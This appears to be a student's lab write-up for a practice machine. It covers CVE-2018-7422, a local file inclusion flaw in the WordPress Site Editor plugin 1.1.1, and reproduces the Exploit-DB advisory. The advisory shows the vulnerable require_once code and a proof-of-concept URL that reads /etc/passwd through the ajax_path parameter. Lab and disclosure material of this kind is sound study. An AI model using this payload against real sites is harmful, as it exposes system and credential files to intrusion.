Readys_CVE-2018-7422

CVE-2018-7422

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The target WordPress instance has site-editor 1.1.1 installed, leaving it vulnerable to CVE-2018-7422

A vulnerability was found in Site Editor Plugin 1.1.1 on WordPress (WordPress Plugin). It has been rated as problematic. Affected by this issue is an unknown function. The manipulation with an unknown input leads to a path traversal vulnerability. Using CWE to declare the problem leads to CWE-22. The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Impacted is confidentiality.

Exploit

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┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/readys]
└─$ searchsploit -m php/webapps/44340.txt ; mv 44340.txt CVE-2018-7422.txt
  Exploit: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
      URL: https://www.exploit-db.com/exploits/44340
     Path: /usr/share/exploitdb/exploits/php/webapps/44340.txt
    Codes: CVE-2018-7422
 Verified: True
File Type: Unicode text, UTF-8 text
Copied to: /home/kali/PEN-200/PG_PRACTICE/readys/44340.txt

Exploit locally available

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/readys]
└─$ cat CVE-2018-7422.txt 
Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422
 
** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
 
** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.
 
Vulnerable code:
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
    require_once $_REQUEST['ajax_path'];
}
 
https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5
 
By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.
 
** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
 
** Solution **
No fix available yet.
 
** Timeline **
03/01/2018: author contacted through siteeditor.org's contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us "another" e-mail
19/01/2018: report sent; author says he will fix this issue "very soon"
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure
 
** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).
 
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Best Regards,
 
Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)

The LFI is present at the ajax_path parameter of the ajax_shortcode_pattern.php file